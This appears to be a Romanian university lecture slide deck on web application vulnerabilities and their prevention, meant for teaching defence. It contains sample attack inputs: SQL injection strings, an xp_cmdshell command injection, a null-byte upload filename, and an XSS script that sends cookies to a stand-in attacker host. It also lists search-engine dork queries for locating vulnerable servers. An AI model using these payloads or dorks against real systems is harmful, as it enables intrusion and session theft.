You are on page 1of 90

vulnerabilitatile

aplicatiilor web
Dr. Sabin Buraga
www.purl.org/net/busaco
@busaco
“Ceea ce se vede pe un obiect
este alt obiect ascuns.”

René Magritte
ce inseamna securitatea datelor?
securitatea este procesul de mentinere
a unui nivel acceptabil de risc perceptibil
security is a process, not an end state

Mitch Kabay
securitatea datelor

confidentialitatea
autentificarea
autorizarea
integritatea
nerepudierea
intimitatea (privacy)
disponibilitatea
confidentialitatea

imposibilitatea unei terte entitati sa aiba acces


la datele vehiculate intre doi receptori
autentificarea

presupune verificarea identitatii utilizatorului


autentificarea

presupune verificarea identitatii utilizatorului

uzual, pe baza de nume + parola


autorizarea

specifica actiunile (rolurile) pe care un utilizator


le poate realiza intr-un anumit context
autorizarea

asociata autentificarii
integritatea

implica detectarea incercarilor de modificare


neautorizata a datelor transmise
nerepudierea

asigura ca expeditorul unui mesaj nu poate afirma


ca nu l-a trimis
disponibilitatea

o anumita resursa este necesar sa poata fi accesata


la momentul oportun
intimitatea

vizeaza drepturile ce trebuie respectate


privind caracterul (subiectul) datelor vehiculate
intimitatea

confundata, deseori, cu confidentialitatea


securitatea web
trebuie sa ia in consideratie

clientul

interactiunea cu utilizatorul
datele personale stocate:
cookie-uri, date off-line, cache etc.
transferurile asincrone
via Ajax/Comet
existenta plugin-urilor si/sau
extensiilor suspecte

securitatea web
trebuie sa ia in consideratie

datele in tranzit

securitatea retelei
schimbul sigur de mesaje intre diverse entitati
ne-repudierea datelor

securitatea web
trebuie sa ia in consideratie

serverul

securitatea serverului/serverelor Web


securitatea aplicatiilor
disponibilitatea serviciilor
securitatea web
trebuie sa ia in consideratie

clientul
datele in tranzit
serverul
securitatea web
trebuie sa ia in consideratie

clientul
datele in tranzit
serverul

atacurile pot viza oricare din cele 3 aspecte!


vulnerabilitati

slabiciuni ale unui sistem


hardware/software ce permit
utilizatorilor neautorizati
sa aiba acces asupra lui
vulnerabilitati

slabiciuni ale unui sistem


hardware/software ce permit
utilizatorilor neautorizati
sa aiba acces asupra lui

pot aparea si datorita


proastei administrari
nici un sistem nu este 100% sigur
modus operandi

1examinarea mediului

identificarea serviciilor publice

descoperirea
tipurilor + versiunilor aplicatiilor

generarea de erori &


examinarea mesajelor obtinute

gasirea de informatii sensibile:


cod-sursa, comentarii,
cimpuri ascunse ale formularelor,…
modus operandi

2stabilirea tintei atacului

mecanismul de autentificare (login)

cimpurile de intrare ale formularelor web

managementul sesiunilor

infrastructura folosita:
serverele de stocare a datelor,
serviciile aditionale – e.g., proxy,…
care sunt cele mai uzuale tipuri de atacuri?
la nivel de HTTP

analizarea pachetelor de date (network sniffing)

functioneaza pentru fluxuri de date


HTTP necriptate
Wireshark – consultarea datelor transmise in retea
la nivel de HTTP

analizarea pachetelor de date (network sniffing)

solutie de prevenire:
HTTPS
folosirea HTTP peste (W)TLS
(Wireless) Transport Layer Security
la nivel de HTTP

deturnarea sesiunilor (session hijacking)

atacatorul determina SID-ul utilizatorului


si il foloseste in scop propriu
la nivel de HTTP

deturnarea sesiunilor (session hijacking)

analizarea campului Referer


dintr-un mesaj de cerere HTTP

Referer:
https://www.ebank.info/view/account?id=98755
&jsessid=BAC13606AC22B81E5137F45F95EE7573
la nivel de HTTP

deturnarea sesiunilor (session hijacking)

solutii de prevenire:

eliminarea SID-ului din URL


stocarea SID-ului in campul User-Agent
utilizarea unui SID variabil
SQL injection

scrierea unor interogari SQL care permit afisarea,


alterarea, stergerea de date din baze de date
via formulare web ori direct, folosind URL-uri
SQL injection

select * from customers


where name=$name and pass=$pass

$name preluat din formular,


cu valoarea '' or 1=1 --
SQL injection

http://e-bankk.org/clients.php?client=3

in programul PHP exista:

select credit_card from clients


where client=$client
SQL injection

http://e-bankk.org/clients.php?client=3

in programul PHP exista:

select credit_card from clients


where client=$client

ce se intimpla daca URI-ul este


http://e-bankk.org/clients.php?client=client ?
SQL injection

variatie:
crearea de interogari SQL incorecte
pentru obtinerea de mesaje de eroare “interesante”
SQL injection

http://www.phunds.biz/search?id=1+OR+gh=1
SQL injection

http://www.phunds.biz/search?id=1+OR+gh=1

atacatorul poate obtine un mesaj precum:

[Microsoft][ODBC SQL Server Driver] [SQL Server]


Invalid column name ’gh’.
SELECT group_id, securityName, maxSalesCharge, price,
security_id, trade_date FROM funds
WHERE group_id = 1 OR gh=1 ORDER BY price DESC
SQL injection

solutii de prevenire:

neutralizarea meta-caracterelor SQL


prepared statements
utilizarea de framework-uri ORM
(Object-Relational Mapping)
recurgerea la proceduri stocate

SQL injection
incorect

$sql = "select * from users


where user = '" . $user . "'";

corect

$rezultat = db_query ("select * from users


where user = ?", $user);
SQL injection + command injection

utilizarea SQL pentru executia de comenzi


la nivel de shell
din cadrul serverului de baze de date
SQL injection + command injection

SELECT * FROM users WHERE name = 'tuxy' AND


pass = ' '; xp_cmdshell 'taskkill /F /IM
sqlservr.exe' --'
poisonous null-byte attack

folosirea caracterului NULL


pentru plasarea de script-uri pe server
ce ulterior pot fi executate
poisonous null-byte attack

atacatorul realizeaza upload-ul


unei “imagini” – img.php%00.jpg

“Thank you! See your picture at img.php”


XSS: cross-site scripting

“injectarea”, pentru executia direct


in navigatorul web, de cod JavaScript
XSS: cross-site scripting

a se vizita si http://ha.ckers.org/xss.html

pentru exemple reale,


a se consulta http://xssed.com/
XSS: cross-site scripting

functioneaza mai ales in cadrul


siturilor web interactive:
forumuri, blog-uri, wiki-uri,…
XSS: cross-site scripting

poate conduce si
la furtul identitatii (phishing)
sau la plasarea de cod malware la client:
CSRF – Cross-Site Request Forgery
in contextul mash-up-urilor, mai ales
XSS: cross-site scripting

<img src="javascript:cod" />

un atacator poate redirectiona utilizatorul


spre alt sit, poate preia valori de cookie-uri
ori poate bloca navigatorul web
XSS: cross-site scripting

<script type="text/javascript">
document.location.replace (
"http://phurt-uri.org/furt.php"
+ "?c=" + document.cookie);
</script>

furtul de cookie-uri (hijacking cookies)


clickjacking

folosirea de cod JavaScript pentru


a modifica textul redat de navigatorul web
utilizatorului sau pentru a manipula
utilizatorul sa viziteze legaturi ascunse

http://jeremiahgrossman.blogspot.com/2008/09/
cancelled-clickjacking-owasp-appsec.html
tabnabbing

recurgerea la cod JavaScript pentru a genera


intr-un tab al navigatorului o replica
a unui formular de autentificare
la un serviciu notoriu – e.g., Facebook, GMail

http://www.azarask.in/blog/post/
a-new-type-of-phishing-attack/
exemplu real

pe baza unei vulnerabilitati XSS in filtrul HTML


al MySpace, atunci cind un utilizator vizualiza
profilul lui Tuxy, codul JavaScript il facea automat
prieten al lui Tuxy + recurgea la Ajax pentru
a insera script-ul malefic in profilul curent
social network worm

dupa 20 de ore, 1005831 cereri


MySpace s-a “prabusit”
exemplu real

Google UTF-7 hole


paginile 404 oferite de Google nu specificau
codul de caractere utilizat

atacurile XSS codificate ca UTF-7 puteau fi accesate


si executate in cadrul Internet Explorer

http://shiflett.org/blog/2005/dec/googles-xss-vulnerability
probleme cauzate de URI/IRI-uri

inducerea in eroare a utilizatorului

exemplu:

http://www.google.com@63.241.3.69/
probleme cauzate de URI/IRI-uri

codificarea defectuoasa
a codurilor hexa
vulnerabilitati la unele servere web
probleme cauzate de URI/IRI-uri

siturile avind domenii internationale


(IDN – International Domain Names)
atacuri bazate pe homografie

adobe.com ≠ adobe.com
troienii web

situri/aplicatii web aparent folositoare,


la care utilizatorul poate ajunge eventual
via redirectare automata
troienii web

extensii sau plug-in-uri care includ cod malitios


troienii web

suplimentar, pot recurge la XSS/CSRF


sau la tehnici de tip social engineering
detectarea posibilelor vulnerabilitati
– datorate unor configuratii incorecte ori
implicite ale serverelor si/sau aplicatiilor web –
se poate realiza apeland la un motor de cautare
detectia versiunilor de software
cu bug-uri cunoscute
"Apache/2.0.52 server at"

accesul la fisiere .bak


inurl:index.php.bak

detectarea paginilor de administrare


"admin login "

gasirea unor instalari implicite


intitle:"welcome to" intitle:internet IIS
localizarea interfetelor spre sistemele
de baze de date
inurl:main.php phpMyAdmin

cautarea de aplicatii instalate ori


a fisierelor de jurnalizare
inurl:error.log +filetype:log –cvs

cautarea unor mesaje de eroare generate


de aplicatii ori de servere de baze de date
"ASP.NET_SessionId" "data source="
vezi si proiectul “Google Hack” Honeypot

http://ghh.sourceforge.net/
securitatea unei aplicatii web

trebuie sa ia in consideratie
arhitectura,
logica (functionalitatea),
codul-sursa si
continutul
in ansamblu
securitatea unei aplicatii web

nu vizeaza vulnerabilitatile sistemului de operare


ori ale programelor auxiliare
tipuri de vulnerabilitati web tipice

probleme de autentificare

managementul sesiunilor

injectarea de script-uri (XSS)


ori comenzi SQL
tipuri de vulnerabilitati web tipice

expunerea – involuntara – a informatiilor


“delicate” (information disclosure)

accesul la codul-sursa ori


la fisierele de configurare a aplicatiei web

managementul incorect
al configuratiei aplicatiei
reguli/bune practici (Sverre Huseby, 2004)

do not underestimate the power of the dark side


reguli/bune practici (Sverre Huseby, 2004)

use POST requests when actions have side effects


reguli/bune practici (Sverre Huseby, 2004)

in a server-side context,
there is no such thing as client-side security
reguli/bune practici (Sverre Huseby, 2004)

always generate a new session ID


once the user logs in
reguli/bune practici (Sverre Huseby, 2004)

never pass detailed error messages to the client


reguli/bune practici (Sverre Huseby, 2004)

identify every possible meta-character


to a subsystem
reguli/bune practici (Sverre Huseby, 2004)

when possible,
pass data separate from control information
reguli/bune practici (Sverre Huseby, 2004)

do not blindly trust the API documentation


reguli/bune practici (Sverre Huseby, 2004)

identify all sources of input to the application


reguli/bune practici (Sverre Huseby, 2004)

when filtering data,


use white-listing rather than black-listing
reguli/bune practici (Sverre Huseby, 2004)

create application-level logs


reguli/bune practici (Sverre Huseby, 2004)

never use client-side scripts for security


reguli/bune practici (Sverre Huseby, 2004)

pass as little internal state information as possible


to the client
reguli/bune practici (Sverre Huseby, 2004)

don’t assume that requests will come


in a certain order
reguli/bune practici (Sverre Huseby, 2004)

filter all data before including them in a web page,


no matter what the origin
reguli/bune practici (Sverre Huseby, 2004)

stick to existing cryptographic algorithms,


do not create your own
reguli/bune practici (Sverre Huseby, 2004)

never store clear-text passwords


reguli/bune practici (Sverre Huseby, 2004)

assume that server-side code is available


to attackers
reguli/bune practici (Sverre Huseby, 2004)

security is not a product; it is a process


http://planet-websecurity.org/feed/

http://www.owasp.org/

http://simonwillison.net/tags/security/